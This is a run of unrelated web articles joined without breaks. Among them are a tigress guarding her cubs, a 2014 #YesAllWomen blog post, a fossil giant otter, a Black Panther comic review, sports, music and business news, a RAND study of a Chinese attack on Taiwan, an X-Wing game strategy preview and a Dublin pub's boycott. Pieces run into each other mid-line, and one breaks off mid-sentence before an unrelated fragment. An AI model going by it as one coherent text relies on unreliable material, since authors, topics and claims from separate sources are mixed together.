The sharp power of observation that she showed she possesses is amazing. She recognised that the common thread across the three attempts to locate her young cubs was this man, and she had the ability to single him out of the 70-odd and pin him down. Even more importantly, something that Chandar Bhan himself admitted and which vouched for by all those who witnessed the attack, not once did the tigress show she wanted to harm him. Her intention was to merely give him a stern warning, to lay off and not endanger her cubs. And having done that, she disappeared in the bushes.
If anything, the tigress displayed traits that should otherwise be considered human while the real humans displayed all the weaknesses of mankind – temptation, greed, impatience, easy way out.
And the guards certainly seem to have learned their lesson. While Chandar Bhan, a much wiser man, proudly displays the scratch marks on his chest and vows never to let anybody mess with the tiger’s personal space, the others too seem to understand the onerous task they have at hand.
Ultimately, they all realise, and I hope this feeling grows, that while a mobile company or others can do all that they wish to raise awareness, it is people like them on whom the real responsibility lies. I noticed first hand the seriousness with which the park administration, led by a very able director, takes its task. They entertain absolutely no request that is illegal.
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On Friday, May 23, 2014, a man killed six people (and possibly himself). The manifesto he left behind stated he did it because women wouldn’t sleep with him. I won’t recount the details here; they can be found easily enough. I also won’t speculate on the controversies involving his mental health, or about the NRA, or the police involvement in this. I want to focus on a narrower point here, and that has to do with men and women, and their attitudes toward each other.
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The murderer was active on men’s rights fora, where women are highly objectified, to say the very least. They are seen as nonhuman by many such groups, and at the very least lesser than men—sometimes nothing more than targets or things to acquire. What these men write puts them, to me, in the same category as White Power movements, or any other horribly bigoted group that “others” anyone else. While it may not be possible to blame the men’s rights groups for what happened, from the reports we’ve seen they certainly provided an atmosphere of support.
Of course, these loathsome people represent a very small percentage of men out there. Over the weekend, as the discussion across Twitter turned to these horrible events, a lot of men started tweeting this, saying “not all men are like that.” It’s not an unexpected response. However, it’s also not a helpful one.
Why is it not helpful to say “not all men are like that”? For lots of reasons. For one, women know this. They already know not every man is a rapist, or a murderer, or violent. They don’t need you to tell them.
Second, it’s defensive. When people are defensive, they aren’t listening to the other person; they’re busy thinking of ways to defend themselves. I watched this happen on Twitter, over and again.
Third, the people saying it aren’t furthering the conversation, they’re sidetracking it. The discussion isn’t about the men who aren’t a problem. (Though, I’ll note, it can be. I’ll get back to that.) Instead of being defensive and distracting from the topic at hand, try staying quiet for a while and actually listening to what the thousands upon thousands of women discussing this are saying.
Fourth—and this is important, so listen carefully—when a woman is walking down the street, or on a blind date, or, yes, in an elevator alone, she doesn’t know which group you’re in. You might be the potential best guy ever in the history of history, but there’s no way for her to know that. A fraction of men out there are most definitely not in that group. Which are you? Inside your head you know, but outside your head it’s impossible to.
This is the reality women deal with all the time.
Before what I’m saying starts edging into mansplaining, let me note that also over the weekend, the hashtag #YesAllWomen started. It was a place for women to counter the #NotAllMen distraction, and to state clearly and concisely what they actually and for real have to deal with. All the time.
Reading them was jarring, unsettling. I have many friends who are vocal feminists, and it’s all too easy to see what they deal with for the crime of Being a Woman on the Internet. But this hashtag did more than deal with the rape threats, the predators, the violence.
It was the everyday sexism, the everyday misogyny, which struck home. The leering, the catcalls, the groping, the societal othering, the miasma of all this that women bear the brunt of every damn day.
Those tweets say it far better than I ever could, for many reasons. The most important is because I’m a man, so I haven’t lived through what they have. I can’t possibly understand it at the level they do, no matter how deeply disturbed I am by the situation and how sympathetic I may be to what they’ve gone through.
This is not a failing, or an admission of weakness. It’s a simple truth. I’m a white, middle-class male, so I can understand intellectually what black people have undergone, or what women have dealt with, or what Japanese-Americans suffered in America in World War II. As someone raised Jewish, I may have more of an understanding for what an oppressed people have withstood in general, but I’ve never really been oppressed myself. That puts me in a position of—yes—privilege.
All that means is that I can only speak from my own point of view, and try to understand others as best I can. When it comes to sexism, to my shame, that took me a long, long time to figure out. I had to have my head handed to me many times in many embarrassing situations to see how I was participating in that culture, that everyday sexism. It was like air, all around me, so pervasive that I didn’t see it, even when I was in it and a part of it.
What made that harder was coming to an understanding that I will never truly understand what women go through. I can’t. So I listen to what women say about it, try to understand as best I can, and try to modify my own behavior as needed to make things better.
I’ve done a lot of modifying over the years. And there’s still a long way to go.
Over the weekend, I retweeted a few of the #YesAllWomen tweets I thought were most important, or most powerful, and saw that again and again they were misunderstood. In almost all the cases I saw, the men commenting were reacting to it, being defensive about the hashtag instead of listening to what was being said.
Earlier, I mentioned that the conversation is about the men who are the problem, not the ones who aren’t. Well, at this point, a conversation needs to be had about them, too. Even though we may not be the direct problem, we still participate in the cultural problem. If we’re quiet, we’re part of the problem. If we don’t listen, if we don’t help, if we let things slide for whatever reason, then we’re part of the problem, too.
We men need to do better.
Part of this problem is the mislaying of blame, and the misdirection of what to do. When it comes to legal action, to the enforcement of rules, to societal pressure, it all comes down on the women and not the men.
Which leads me to the best tweet using this hashtag that a man put up.
That is exactly right. We need to change the way we talk to boys in our culture as well as change the way we treat women.
And one final word on this. As a man, having written this post I expect there will be comments insulting me, comments questioning my manhood (whatever twisted definition those people have of such a thing, if it even exists), and so on.
But you know what there won’t be? People threatening to stalk me and rape me and kill me for having the audacity to say that women are people, and that we should be listening to them instead of telling them how to feel. Yet that is precisely what every woman on the Internet would face if she were to write this.
And that is, sadly, why we so very much need the #YesAllWomen hashtag.Image copyright Maurico Anton Image caption The otter lived in a swamp surrounded by evergreen forest
A giant otter that roamed southwestern China six million years ago had a surprisingly strong bite and could have been a top predator, say scientists.
Studies of the animal's fossilised skull reveal that it had the chewing ability of a bear.
Unlike its living relatives, which feed on fish and shellfish, the otter may have eaten a wide range of prey.
It was capable of crushing big mollusc shells or the bones of birds and rodents, according to a new study.
The research, published in the journal, Scientific Reports, provides insight into the life of this oversized otter.
Known as Siamogale melilutra, it weighed more than 50kg and was the size of a wolf.
Not only was it larger than living otters, but its jaws were more powerful.
"We conducted a series of engineering simulations on the jaw models of fossil otters as well as ten living otter species and what we found was that the fossil otter had a jaw that was six times as strong as expected, based on what we see in living species," Dr Jack Tseng of the University at Buffalo, US, who led the research, told BBC News.
The fossil record of the animal is incomplete. The few skull fragments that have been discovered were found in what was once a swamp or shallow lake surrounded by evergreen forest or dense woodland.
The site, known as Shuitangba, has yielded hundreds of fossils of animals and plants, which are exceptionally well preserved.
Image copyright Getty Images Image caption The European otter is among 13 living species
"There was a diverse aquatic fauna at Shuitangba, including fish, crab, molluscs, turtles and frogs, as well as many different species of water birds, all of which could have been potential prey for S. melilutra," said Denise Su, a paleoecologist at the Cleveland Museum of Natural History.
The animal's size and jaw strength would have made it a formidable hunter.
Although scientists can't be sure, they think the otter was unusual in exploiting a varied diet.
"Carnivores are known to evolve powerful jaws, often for the purpose of cracking the bones of their prey," said Xiaoming Wang, a curator in the Vertebrate Paleontology Department of the Natural History Museum of Los Angeles County.
"In the shallow swamp of South China, it's possible that an abundance of big clams drove these giant otters to acquire their rare traits, including their crushing teeth and robust jaws."
Otters are carnivorous mammals that are adapted to hunting and living in and around water.
The 13 living otter species are found throughout the Americas, Europe, Asia and Africa.
The otter is found across the UK, where it is gradually returning to rivers after years of conservation efforts.
Follow Helen on Twitter.Written by Reginald Huldin
Drawn by Scot Eaton
Inked by Klaus Johnson
Colored by Dean White
Published by Marvel Comics
PREVIOUSLY: BLACK PANTHER: BAD MUTHA
This is the storyline that detailed the proposal, engagement, and marriage of Black Panther and Storm. I have to be honest, when I first heard about these intended nuptials, I was not all that enthusiastic about it. I thought (& still do) that BP getting married to a woman like Storm would change the dynamic of the character and the types of stories that can you tell with him too much. Black Panther’s typical threats would be no match for Storm. I always compared it to what if Batman married Wonder Woman, and she moved into Wayne Manor with him? Well now Batman’s arch-enemies, the Joker, The Riddler, The Penguin, etc. would be no match for her. She could even snap Bane in half. So now does Batman do? So I would think back to stories like the opening arc of this series, and think about how if Storm had been there should could have just whipped up a tornado and taken care of Klaw, Black Knight, Rhino, and the rest of them with a snap of her fingers. And that wouldn’t exactly be a thrilling story to read, would it? So I was doubtful as to how this could work, fearing that either BP would become a supporting character in his own title or that Storm would have to be written as weaker than she really is to keep her from overshadowing BP. But I tried to keep an open mind while reading the series.
Black Panther #14
This issue is the build-up to the meeting. First T’Challa is giving Luke Cage a ride back to Luke’s home, after their adventures in Asia and Louisiana. Through flashbacks we get some background of not only T’Challa but Wakanda’s history, including the time that Malcolm X visited Wakanda, and his connection to Storm’s father. We also see young T’Challa have a heart to heart conversation about love with his father, who was clearly a wise and noble man. And then T’Challa finds Storm who is in Africa, fighting Arab slave-traders. Wolverine is also there, but makes a quick get-away when T’Challa arrives, and after an intense conversation, T’Challa proposes. Many “fans” complained about the lack of published history between the two characters, but the way Hudlin fills in the blanks here, and from the strength of the dialog between T’Challa and Storm, it all rang true to me. Good job there.
Black Panther #15
Before Storm can answer, they’re attacked by a supervillain called The Arabian Knight. But he’s not much of a real threat, and T’Challa and Storm fight him off together, all the while still arguing about their past, in a very funny and cleverly written scene. Storm agrees to accompany T’Challa to Wakanda, where she meets his mother who likes her immediately. And then finally, in the end, Storm says yes.
Black Panther #16
This is where the public announcement is made, and we get see the reactions from across the globe. Some local Wakandans aren’t happy, others think it’s romantic. Various heroes, including the X-Men, Avengers, and Fantastic Four, react differently, while SHIELD prepares for the international security implications of the wedding. The highlight is T’Challa tracking down Storm’s long-lost Paternal grandparents, a couple of tough old Black militants, and reuniting them with Storm. And a couple of T’Challa’s old enemies appear, including…MAN-APE!
Black Panther #17
T’Challa, somewhat reluctantly, agrees to have a bachelor party, arranged by Luke Cage. Along with Wolverine, Ben Grimm, Namor, Falcon, and T’Challa’s cousin T’Shan fly off to a strip club, while Storm goes out with Kitty Pryde and Sue Storm. Let’s just say that neither event goes as planned…
Black Panther #18
And this is it. The big event. A double-sized issue mostly focusing on the wedding ceremony and celebration. Tons of cameos, from George Bush to The Watcher to, yes, the Man-Ape. This comic took place just as Marvel’s line-wide Civil War event was gearing up. Wakanda is declared neutral territory for the day, so pro and anti-registration superheroes both attend, including Iron Man and Captain America, although neither stays for the ceremony, despite T’Challa’s attempt at peacemaking. The highlight includes the actual wedding ceremony, especially when Storm makes her grand entrance. And then when she and T’Challa ascend to the spirit world to meet The Panther God, who judges Storm worthy. And afterwards, Storm and T’Challa are alone opening their gifts, including a special message from Doctor Doom…
Re-reading this arc again after all these years, I can definitely appreciate it a little more than I did when it was first published. Again, for all the talk of this relationship being “rushed,” it doesn’t feel like that at all when reading this story. The best moments are the scenes when T’Challa and Storm are alone, they talk like you’d expect a couple with a long and complex history together would talk to each other. But Hudlin does just as well when writing the interactions between various super-heroes. In particular I appreciate how in the showdown between Captain America and Iron Man neither one is made to look “right” or “wrong,” it’s clear that each believes he is doing the heroic thing, so it’s left to the readers to decide whom they agree with.
Scot Easton’s artwork also seems to improve with each issue, as he gets more comfortable with the characters. He occasionally has a tendency to use real-life celebrities as likenesses for random background characters, which is interesting when you spot it. All in all, this story is a pretty good package.
You can get the individual issues of this arc via Comixology, or just get the collected edition:
Black Panther: The BrideBillionaire Sheldon Adelson is probably best known for having spent a fortune on the last presidential election and last month’s “Adelson Primary,” in which Republican presidential aspirants make a pilgrimage to Las Vegas to seek the mega donor’s support.
But Tom Hamburger reports for The Washington Post that Adelson has also been “quietly developing” a state-level lobbying network. So far, its primary goal has been to kill off competition with his casino business from online gaming operations.
Hamburger writes:
Adelson became a political force in 2012 when he poured more than $90 million into Republican presidential campaigns. But less noted at the time was Adelson’s largesse in Florida, where he contributed hundreds of thousands of dollars to political committees supportive of Gov. Rick Scott (R). Adelson also gave $2 million to the Republican Governors Association and directed millions more to candidates for attorney general and other state-level offices across the country. Many of the beneficiaries of Adelson’s state donations are now siding with the billionaire as he seeks to outlaw a practice he views as a threat to the economic health of the casino industry on which he built his fortune. […] The efforts by Adelson, who has vowed to play a big role in boosting another Republican for the White House in 2016, reveal the unusual role being played by the GOP mega-donor as he balances a largely conservative ideological agenda with his business interests. In doing so, he has triggered what may become one of the costliest lobbying battles of the year, in Washington and state capitals, as he combats rival gambling companies favoring a move to the Internet.
Hamburger goes on to detail how Adelson is expanding his reach beyond his conservative allies to woo Democrats who might help advance his agenda in states like California.
Read the whole article at The Washington Post »DETROIT -- The ball sailed deep toward the left-field seats off Magglio Ordonez's bat -- in a video on the Comerica Park scoreboard this time -- and the crowd cheered its approval of one of the greatest moments in Tigers history.
Ordonez officially announced his retirement Sunday, and Detroit fans had a chance to celebrate his stellar career in a ceremony before the Tigers hosted the New York Yankees. Among the highlights was a video tribute that included Ordonez's pennant-winning home run in Game 4 of the 2006 AL Championship Series.
"Big hit after big hit, leadership qualities," general manager Dave Dombrowski said. "We'll also always smile -- in 2006, in that fourth game of the ALCS -- when we see that ball going over the left-field fence, for one of the biggest hits in Detroit Tigers history."
The 38-year-old Ordonez finishes his career with a.309 average over 15 seasons with Detroit and the Chicago White Sox. His 294 homers are the second-most by a Venezuela-born player, trailing only Andres Galarraga's 399.
In 2007, the year after his ALCS homer eliminated Oakland, he became the first Tiger to win the batting title in 46 years. He hit.363 that year -- the highest average by a Detroit player since 1937 -- with 28 home runs, 54 doubles and 139 RBIs.
"I'm happy. I'm at peace," Ordonez said at a news conference shortly before the on-field ceremony. "I think the way that I left the game was the right way. I went to the playoffs, I did good 15 years in the big leagues, playing at a good level. I'm really proud."
Ordonez had family in attendance at his announcement, along with Dombrowski, Detroit owner Mike Ilitch and Tigers manager Jim Leyland.
"As a manager, one of your biggest thrills is to watch the best players in the world play the game, and I can't tell Magglio what a treat it was for me to have watched him play on a daily basis," Leyland said, choking up as he spoke. "I think the best thing that I can say to Magglio is, a manager has players over the years, and not all of them become friends, but you've become a friend."
Ordonez was hitting.303 in July 2010 when he broke his right ankle sliding into home. He needed surgery, and although he played in 92 games last year, he hit a career-worst.255 with only five homers. Detroit won the AL Central, but Ordonez fractured his ankle again during the playoffs.
He and the Tigers parted ways, and that ended up being it for his career.
"I knew it wasn't going to be easy to sign another contract. Two fractured ankles, my age," Ordonez said. "I got in good shape, but I didn't receive any offer, any nice offer, to come back to the big leagues. Only minor leagues."
Although Ordonez may be best remembered for his pennant-winning homer and batting title with Detroit, he became a star with the White Sox. He made his debut with them in 1997, and from 1999-2003, he hit.312, averaging 32 homers and 118 RBIs per season.
"They signed me when I was 17 years old and they always gave me a chance to play. If it wasn't for the White Sox, I wouldn't be here 15 years," Ordonez said. "The fans always support me, the organization, too. They were great to me."
Ordonez was limited to 52 games in 2004 because of calf and knee problems, and he signed with the Tigers after that season. He had injury problems again in 2005, but when 2006 started, both he and his new team were ready for a resurgence.
Dressed in a suit and sunglasses, Ordonez made the long walk in from right field during his pregame ceremony, waving to fans along the way.
By then, Leyland had already set the tone.
"I thank you for all the wonderful things you did for me, all the respect you showed me and all the respect you showed your teammates," the veteran manager said, his voice cracking. "You'll be missed. I love you."Nicki Minaj’s rendition of Rae Sremmurd’s viral single “Black Beatles” featuring Gucci Mane has entered Billboard’s Hot 100 chart at #65, Billboard reports.
The track titled “Black Barbies” was originally made available on her SoundCloud and was later released commercially on November 30.
The Mike WiLL Made-It-produced cut is Nicki’s 70th to hit the chart, which surpasses Taylor Swift’s record for 69 Hot 100 hit singles among women, knocking the “Bad Blood” singer down to #3. The Queens rapper is credited with being the lead artist on 27 of the 70 singles that have charted. Among all acts, Nicki Minaj sits at #12 for the most Hot 100 singles.
Aretha Franklin holds down the top spot with 73 Hot 100 singles and has been the lead on all of the songs that charted.
Among other women who have legions of Hot 100 hits are Madonna who sits at #4 with 57, tied with 28-year-old Rihanna at #5 and Dionne Warwick who has had 56 hits at #6.
Check out the full list via Billboard below.
73, Aretha Franklin
70, Nicki Minaj
69, Taylor Swift
57, Madonna
57, Rihanna
56, Dionne Warwick
53, Beyonce
53, Connie Francis
48, Brenda Lee
47, Mariah Carey
43, Miley Cyrus
41, Barbra Streisand
40, Mary J. Blige
40, Janet Jackson
40, Diana RossGeena Rocero in an ad for Marriott's LGBT campaign. (Photo11: Marriott International)
Marriott International is going after the Lesbian, Gay, Bisexual and Transgender community with a new social media and marketing campaign that launches today, joining a number of major hotel chains aggressively trying to lure the lucrative clientele.
#LoveTravels will feature images wrapped around five hotels in Washington, D.C., print ads in LGBT media, an online portrait gallery and other ads in various U.S. cities. The ads will feature openly gay NBA player Jason Collins, among other spokespeople. Images and videos plus personal stories will be available at LoveTravels.Marriott.com and at Marriott.com/gaytravel.
Marriott's campaign is the latest example of the hotel industry stepping up its efforts to lure LGBT travelers. While the company says it is targeting the community to make LGBT travelers feel more welcome, there's also a business incentive. According to Out Now Global, an LGBT marketing specialist group, the potential value of the LGBT travel market was set to reach $181 billion last year.
The Supreme Court's striking down of the Defense of Marriage Act and the expansion of marriage equality has sparked more businesses to publicly reach out to the community.
"It's almost expected at this point in the LGBT community," says David Paisley, senior research director at Community Marketing and Insights, an LGBT marketing research firm.
Since its start in San Francisco in the 1980s, Kimpton Hotels & Restaurants has been at the forefront with its support of community organizations advocating for the LGBT community.
But many other hotels have followed suit.
Preferred Hotel Group launched the Preferred Pride program in 2011 with more than 120 gay-welcoming independent hotels and resorts in 20 countries. OUT NYC has called itself the first gay hotel in New York City. Hilton Worldwide has a gay travel package and a website dedicated to helping LGBT guests plan their vacations.
Marriott's campaign will run through November. Braden Summers, a celebrity photographer, shot the photos of Collins, fashion model Geena Rocero, and Marriott employee Talisha Padgett-Matthews.
"Our goal is really to educate and engage and shift perception of our portfolio brand," says Kristine Friend, senior director of segment marketing for Marriott International. "We've decided to kick off a holistic campaign that really helps celebrate inclusiveness and beautifully illustrates our desire to make people feel at home at our hotels."
Rick Stiffler, Preferred Hotel Group's vice president of Leisure Sales, says hotels have no other choice but to pay attention to the LGBT traveler given how much they spend on travel.
"It's in the billions and that really has a lot of people paying attention to the LGBT market," he says. "I think if you're not paying attention, you're definitely missing the boat. For us, it's not only the right thing to do, it's the smart thing to do."
Collins, who spent part of last season with the Brooklyn Nets, calls Marriott's outreach program "important not only to the LGBT community but to society in general."
He adds, "When I travel with a boyfriend, we really want to feel that sense of inclusiveness regardless of our sexual orientation or religion. We want that feeling of being welcome."
Read or Share this story: http://usat.ly/1mHLDKdRon Hextall has good things to say about Charles Barkley - for the most part.
The Philadelphia Flyers general manager was asked Wednesday about the NBA analyst and former Philadelphia 76er's declaration Monday that Hextall was his favorite player ever.
"I laughed when I heard that," Hextall told reporters, according to CSN Philly's Enrico Campitelli. "We had a bit of a relationship back in the day. He was at a lot of our games obviously. There's a mutual respect there. I certainly liked the way Charles played - a hard game, very emotional, gave it all he had out on the court."
Barkley was invited to Nashville by NHL commissioner Gary Bettman for Game 4 of the Cup Final on Monday night, where "The Round Mound of Rebound" crashed Wayne Gretzky and Paul Coffey's press conference and spoke glowingly of both Hextall and the Stanley Cup Playoffs as a whole.
"I started following hockey actually in Birmingham, Alabama," Barkley said. "They had a team called the Bulls back in the day. That was my first recollection of hockey. Then when I got to Philadelphia, my favorite hockey player of all time is Ron Hextall. I got to know him and Eric Lindros going to a bunch of Flyers games. Then Mike Wilbon, one of my mentors, takes me to the Stanley Cup Playoffs with the Blackhawks the last few years."
The Flyers GM said Wednesday he was more than just amused by the shoutout.
"I'm honored to be talked about by Charles, for sure."
Still, Hextall couldn't finish talking about Barkley without taking a shot at his notorious golf game.
"I do remember seeing Charles play (golf) and I thought to myself, 'Jeez, I'm not going to be the worst one out here today.'"
It's not surprising that the two Philadelphia sports heroes would have mutual respect for another considering the tenacity and occasional mean streaks they were both known for on the ice and the court, but Barkley's NHL fandom is truly the gift that keeps on giving.US Surgeon General Vivek Murthy wants Americans to see addiction as a brain disorder instead of a moral failing.
In a new report released today, Murthy writes that, though substance abuse disorders are a public health crisis, many don’t receive the support they need. More people have a substance abuse disorder than have cancer, but only 10 percent receive treatment. And part of the reason people don’t get help is because they’re ashamed of their disease, he says.
"I’m calling for a culture change in how we think about addiction"
It’s not news that substance abuse is a big problem. People have paid a lot of attention to growing rates of addiction, including the so-called opioid epidemic. (Opioids are a class of painkiller, and abuse of prescriptions drugs is on the rise.) More people died from drug overdoses in 2014 than in any year on record, according to the Centers for Disease Control and Prevention. More than six out of 10 of these overdoses involved an opioid.
But one important change is Murthy’s explicit statement that addiction should be seen as a medical condition. One part of the report explains the neuroscience of addiction, and how drugs disrupt self-control and make recovery very difficult.
Activists have long supported this shift, but the stigma against those with substance abuse disorders remains strong. Earlier this year, police in Ohio publicly posted photos of a couple that had overdosed, a move that many condemned as public shaming. But research has showed that this kind of shaming is not effective in helping people recover, and can even make people turn to drugs or alcohol more.
Murthy hopes that dispelling some of the stigma around addiction will lead to better treatment. "I’m calling for a culture change in how we think about addiction," he told The Washington Post. "Unless we eradicate the negative [stereotypes]... we won’t create an environment where people feel comfortable coming forward and asking for help."The Padres and Red Sox swung a deal on Friday night that sent Craig Kimbrel to Boston in exchange for a quartet of prospects: outfielder Manny Margot, shortstop Javier Guerra, second baseman Carlos Asuaje and left-handed pitcher Logan Allen. As Dave Cameron noted immediately following the trade, the Red Sox coughed up quite a package for the rights to Kimbrel. Not only did San Diego receive a high-quality prospect in Margot, but they got quantity as well. Here’s what my fancy computer math says about these prospects. The numbers next to their names refer to their projected WAR totals through age 28 according to KATOH.
Manny Margot, 10.2 WAR
The Red Sox signed Manny Margot as a 16-year-old out of the Dominican back in 2011, and he’s hit at every stop since then. He put himself on the prospect map in 2014 with a strong showing in Low-A, but he outdid himself in 2015 by essentially replicating those numbers in both High-A and Double-A. Margot makes a ton of contact, hits for modest power and runs wild on the base paths. All of that bodes well for his future in the show, especially considering he’s always been very young for his levels. Here are some comps that were generated using a series of Mahalanobis distance calculations.
*****
Javier Guerra, 3.1 WAR
Javier Guerra (No, not that Javy Guerra.) was one of many intriguing infielders in the lower levels of Boston’s system. Guerra spent last season — his age-19 season — in Low-A, where he slashed.279/.329/.449. That power output is exciting, especially for a shortstop, but his strikeout numbers bordered on concerning. He struck out in 24% of his plate appearances last year, after whiffing in 20% in 2014. His strikeouts are the flaw that most threaten to derail him in the upper levels. But overall, there’s a lot to like about a shortstop who thrives in full-season ball as a teenager. Here are his statistical comps:
*****
Carlos Asuaje, 1.3 WAR
Carlos Asuaje is an undersized infielder who hit an unremarkable.251/.334/.374 for Boston’s Double-A affiliate last year. Asuaje lacks power or speed, but posted strikeout and walk rates of 15% and 10%, respectively, last year — both better than average. Throw in that he doesn’t play shortstop, and Asuaje looks like more of a grinder type than a toolsy guy with tons of upside. At 24, Asuaje probably doesn’t have a ton of improving left to do, but he also doesn’t have far to go before he’s worthy of a bench role. The comps:
*****
Logan Allen, Insufficient Data
Logan Allen is the lone pitcher headed to San Diego in this deal, and is also the most raw of the four prospects involved. Boston drafted Allen in the eighth round out of high school in the most recent draft. Yet, despite being a late round pick, he dominated in his first taste of pro ball. He spun a 1.59 ERA in eight starts, with a 26:1 strikeout-to-walk ratio in 24.1 innings. Straight up video game numbers. Of course, the sample is small, and his performance came against a low level of competition. So it would be wise to defer to scouting reports, rather than dwelling on Allen’s performance. Nonetheless, you’d be hard pressed to find a prospect with a better pro debut than Allen’s.We’ve been hearing from sources that for all the talk about irregular and hybrid warfare, the driving force in the QDR strategic review currently underway is the High End Asymmetric Threat, or HEAT, team. That team is examining the threat posed by a “near peer” competitor armed with an inventory of advanced “anti-access” weapons: anti-satellite systems, increasingly accurate ballistic missiles, anti-air weapons, anti-ship systems, undersea warfare systems and cyber attacks.
It makes the timing and the findings of a new RAND analysis of a full blown Chinese attack across the Taiwan straits all the more interesting. The new report, in typical RAND style, uses sophisticated modeling to simulate a Chinese invasion of Taiwan in the 2010-2015 timeframe, including a preemptive ballistic missile bombardment, a cyber assault on the island’s infrastructure and a Normandy style amphibious landing.
In a 2000 report that looked at a similar scenario, RAND predicted a bloody repulse for the attacking Chinese as Taiwanese and U.S. aircraft savaged the Chinese air fleet and seaborne landing force. However, this time around, RAND sees China establishing air superiority over the strait within hours of the first shots being fired.
How to explain such a reversal? Primarily, it’s due to China’s burgeoning stock of increasingly accurate short range ballistic missiles (SRBMs), around 1,000 of which are deployed opposite Taiwan. Launching a preemptive strike, RAND figures that with 90 to 240 SRBMs, China could: “cut every runway at Taiwan’s half-dozen main fighter bases and destroy essentially all of the aircraft parked on ramps in the open at those installations.” Follow on bombing raids by Chinese aircraft armed with precision bombs would destroy any surviving Taiwanese aircraft parked in hardened shelters.
A similar fate would be inflicted on U.S. aircraft at the Air Force base at Kadena and the U.S. Marine Corps base at Iwakuni on Okinawa, RAND says.
Even with its air fleet a smoldering wreck, Taiwan is unlikely to roll over for China; the Chinese would have to actually pull-off a successful amphibious landing and occupy the island. Continuing with the anti-access theme of the report, Taiwan could still successfully defend its beaches with a combination of anti-ship cruise missiles, U.S. bombers launching Joint-Air-to-Surface Standoff Missiles (JASSMs), shorter range missiles, such as Hellfire, and some very tenacious dug-in Taiwanese infantry.
Contested amphibious assaults are exceedingly difficult to pull off successfully in the era of long-range, precision weaponry where ships bobbing on the seas are very exposed, as are the landing craft making the run in to a defended beachhead.
The smart folks over at the Center for Strategic and Budgetary Assessments have been harping about the implications of anti-access weapons for some time. I spoke to CSBA fellow Dakota Wood a few weeks back about a series of war games they conducted for OSD highlighting the “game changing” potential of precision guidance and range, and how such weapons will force changes in the way the U.S. military organizes and equips for the future battlespace.
With guided missiles of all types increasing in accuracy and readily available, it will demand a change in thinking from “How does my weapons system match up against the enemy’s similar system?” to “How does your costly system match up against the enemy’s missile magazine and what’s the size of that magazine?”, Woods said.
There are rumors that the Marine’s amphibious warfare capabilities may fare poorly in the QDR. This recent RAND report certainly doesn’t bolster their case. It also raises questions about the utility of short range tactical fighters when an enemy’s ballistic missiles can hold nearby airfields at risk. OSD won the battle against the F-22, yet favored large numbers of the F-35. We’ll see if that’s still the case come February.Sydneysiders are in danger of scuppering their city’s chances of becoming a more dynamic, vibrant and enjoyable place to live by refusing to take part in a sensible conversation about its future, it’s been claimed.
By reacting in a kneejerk way every time the subject of increasing density is raised, they’re instead doing themselves out of the opportunity to ensure that it’s done well to achieve the best outcomes for all.
That’s the view of a controversial new paper about to be released by the Committee For Sydney who see it as firing the first salvo in the battle for an open conversation about the benefits of Sydney going up – rather than sprawling further out.
“There are huge |
-wing is well equipped to deal with many different situations. The key is going to be figuring out what upgrade slots you should fill, and which ones you can leave empty.
Outfitting Your K-wing for Battle
You shouldn’t try to fill all the upgrade slots on your K-wing. That would leave you with a ship that couldn’t possibly spend all of its ordnance before being destroyed. At the same time, the K-wing is made for its upgrades and is pretty lackluster without them; a two-die turret isn’t going to go far in a metagame where IG-88, Soontir Fel, and high-health, large-base ships are dominant.
So which elements are good to focus on? Personally, I prefer either giving the ship a turret, skipping most or all of the ordnance slots, or going with mines and Extra Munitions. I’ve found that the K-wing, thanks to the SLAM action, makes a great bomber. Without any native ability to get both a focus and target lock, it has more difficulty using missiles and torpedoes. You can do it, but you’ll want to use other ships to give out the necessary actions, like "Dutch" Vander, Lando Calrissian, or Airen Cracken.
My first step when looking at the K-Wing was figuring out how it could fit in existing lists. I looked at my Worlds list, and thought about what would happen if I removed the Tala Squadron Pilots for a K-wing?
Total Squad Points: 100
Miranda Doni adds another regenerating turret to the list. The list's raw damage output drops, but both ships are turrets and arc-dodgers, to refer back to my “three pillars” of X-Wing. With this kind of list, you’ll be spending most of your time dodging arcs, regenerating shields, and doing damage when you can. I wouldn’t want to play this in a sixty-minute match, but bringing it to an event with seventy-five-minute rounds should give you enough time to slowly attrition your opponents while keeping up your health.
Miranda Doni should almost always use Twin Laser Turret. With it, you can regenerate a shield, and you still get two attacks, one at two dice and one at three, with which you can try to sneak some damage in. Then, if you find yourself within Range "1," don’t be afraid to have Miranda Doni spend a shield to perform a four-die primary attack!
Using the SLAM
Next, I explored what kind of lists I could create with the K-wing to really make its new abilities shine. As mentioned above, I like what this ship does with mines and what those mines can bring to a squad of jousters.
Total Squad Points: 100
With this build, the B-wings are the anvil. They put out most of the damage in the list, and your opponent won't want to get slammed down in front of them. However, the Warden Squadron Pilot is busy setting things up so that the B-wings can’t be outmanuevered.
Thanks to Extra Munitions, you effectively carry four mines, and thanks to Advanced SLAM, you can drop any of them after doing a SLAM! This can catch people unaware, as they might think they have a pilot like Soontir Fel set up in a safe spot, only to have you move, SLAM, and then drop a Conner Net right in front of him. Then, once Soontir Fel loses his actions that turn, and has an ion token to mess up his next turn, the B-wings shouldn’t have any trouble lining him up.
If your opponent tries to disrupt your strategy by removing your Warden Squadron Pilot, he can just use SLAM and mines to discourage pursuit. If the goal is to eliminate your B-wings, your K-wing can apply its firepower and disrupt your opponent with all its mines… Just don’t hit your own mines!
Why It's Good to Fight for Freedom
Fellow Rebels, Wave VII is good for you.
Your strongest current builds will still be playable. Nothing in Wave VII directly counters the strength of Han Solo or Dash Rendar turrets, and your "Panic Attack" stress/control builds will find that the new ships are just as vulnerable to the stress you can pile on them. B-wings and Z-95 Headhunters are still efficient scrappers, and Corran Horn's double taps will continue to prove effective against these new ships. What the wave brings are new options. The K-wing adds a new tool to the box, just like the other factions are getting new tools. However, none of these new ships and upgrade options are going to render any of the existing ships obsolete. Instead, they only look to make the metagame more varied than ever.
Imperial Retaliation
If the Rebels are going to use their new K-wing to litter the battlefield with mines, you can bet the Imperials are going to retaliate. In our next preview, we'll look at the impact of Wave VII on the larger metagame, guided by 2012 World Champion Doug Kinney!A Dublin pub yesterday announced its decision to boycott all Israeli-made goods in response to the Israeli occupation of Gaza.
A Dublin pub yesterday announced its decision to boycott all Israeli-made goods in response to the Israeli occupation of Gaza.
Dublin pub shows 'disdain and disgust' at Gaza violence through boycott of Israeli-made goods
A spokesperson for The Exchequer said they are initiating the boycott to show their “disdain and disgust at the genocide that is currently being committed by Israel on the people of Gaza.”
The gastropub – located in Dublin city centre – will not stock any product that is produced or made in Israel, affecting primarily their fruit, vegetables and mint stock.
The pub accepted that their boycott “won’t hurt” Israel “one bit,” but asked what similar initiatives from businesses in Ireland, the UK and Europe could achieve.
